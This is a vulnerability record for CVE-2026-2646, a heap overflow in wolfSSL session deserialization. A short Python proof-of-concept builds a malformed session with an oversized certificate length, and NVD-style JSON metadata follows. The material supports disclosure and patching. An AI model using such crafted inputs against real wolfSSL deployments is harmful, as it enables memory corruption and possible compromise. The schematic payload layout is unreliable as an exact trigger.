CVE-2026-2646

import struct # This is a conceptual PoC to demonstrate the vulnerability trigger. # It crafts a malicious SSL session structure with an oversized certificate length. def create_malformed_session(): header = b'\x00\x00' # Dummy header # Set an arbitrarily large length for the certificate to trigger overflow # Normally this would be a reasonable size, but here we use 0xFFFFFFFF malicious_cert_len = struct.pack('>I', 0xFFFFFFFF) # Construct the payload # Structure: [Header][Malicious Cert Length][Dummy Data...] payload = header + malicious_cert_len + b'A' * 100 print("Generated malformed session payload.") print(f"Payload hex: {payload.hex()}") return payload if __name__ == "__main__": create_malformed_session()

{"cve": {"id": "CVE-2026-2646", "sourceIdentifier": "[email protected]", "published": "2026-03-19T18:16:22.223", "lastModified": "2026-04-29T18:42:47.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-buffer-overflow vulnerability exists in wolfSSL's wolfSSL_d2i_SSL_SESSION() function. When deserializing session data with SESSION_CERTS enabled, certificate and session id lengths are read from an untrusted input without bounds validation, allowing an attacker to overflow fixed-size buffers and corrupt heap memory. A maliciously crafted session would need to be loaded from an external source to trigger this vulnerability. Internal sessions were not vulnerable."}, {"lang": "es", "value": "Una vulnerabilidad de desbordamiento de búfer de montón existe en la función wolfSSL_d2i_SSL_SESSION() de wolfSSL. Al deserializar datos de sesión con SESSION_CERTS habilitado, las longitudes del certificado y del ID de sesión se leen de una entrada no confiable sin validación de límites, permitiendo a un atacante desbordar búferes de tamaño fijo y corromper la memoria del montón. Una sesión creada maliciosamente necesitaría ser cargada desde una fuente externa para activar esta vulnerabilidad. Las sesiones internas no eran vulnerables."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.0", "matchCriteriaId": "DA3FA1CB-CEDC-4D49-9ECD-99BBF1602312"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/9748", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/wolfSSL/wolfssl/pull/9949", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}